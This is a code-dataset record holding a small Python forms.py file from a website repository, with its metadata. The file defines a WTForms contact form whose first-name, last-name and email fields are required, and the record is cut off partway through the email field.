96e148ffddaea910a85c7bd2dc304d66192c73f5 | 6c4caa5f897efe09f9288a2c2f3a5d5e7104c8ef | /forms.py | 726881a2f035489fd2716edfa895e6e86c4231bc | [] | no_license | bluecamel-io/website | 223dddf0777036163a5ec877e143252b5b3b8022 | 02fb23e668bae778f6d89efcf451b8b9b1633122 | refs/heads/master | 2021-07-11T18:28:06.710141 | 2020-06-30T00:18:22 | 2020-06-30T00:18:22 | 165,703,743 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 541 | py | from wtforms import Form, StringField, TextAreaField
from wtforms import validators
class ContactForm(Form):
first_name = StringField(
'First Name',
[validators.Required()])
last_name = StringField(
'Last Name',
[validators.Required()])
email = StringField(
'Email Ad... | [
"andrew.ross.mail@gmail.com"
] | andrew.ross.mail@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.